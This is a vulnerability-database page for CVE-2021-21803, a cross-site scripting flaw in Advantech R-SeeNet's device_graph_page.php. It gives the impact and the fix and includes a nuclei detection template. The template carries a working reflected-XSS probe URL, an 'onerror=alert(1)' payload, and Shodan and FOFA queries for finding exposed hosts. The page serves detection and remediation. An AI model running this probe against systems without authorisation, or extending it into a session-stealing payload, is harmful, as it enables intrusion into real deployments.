HexBrain

Browse / CVEs / CVE-2021-21803

CVE-2021-21803· advantech / r-seenet· CWE-79

Advantech R-SeeNet - Cross-Site Scripting

mediumseverity
6.1CVSS score
7.9%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

Advantech R-SeeNet is vulnerable to cross-site scripting via the device_graph_page.php script via the is2sim parameter. A specially crafted URL by an attacker and visited by a victim can lead to arbitrary JavaScript code execution.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patches or updates provided by Advantech to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/php/device_graph_page.php?is2sim=%22zlo%20onerror=alert(1)%20%22
Positive when: contains "\"zlo onerror=alert(1) \"" and "Device Status Graph" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-21803 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-21803

info:
  name: Advantech R-SeeNet - Cross-Site Scripting
  author: gy741
  severity: medium
  description: Advantech R-SeeNet is vulnerable to cross-site scripting via the device_graph_page.php script via the is2sim parameter. A specially crafted URL by an attacker and visited by a victim can lead to arbitrary JavaScript code execution.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by Advantech to mitigate this vulnerability.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1272
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21803
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-21803
    cwe-id: CWE-79
    epss-score: 0.07902
    epss-percentile: 0.94762
    cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: advantech
    product: r-seenet
    shodan-query: http.html:"r-seenet"
    fofa-query: body="r-seenet"
  tags: cve2021,cve,rseenet,xss,advantech,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/php/device_graph_page.php?is2sim=%22zlo%20onerror=alert(1)%20%22'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"zlo onerror=alert(1) "'
          - 'Device Status Graph'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from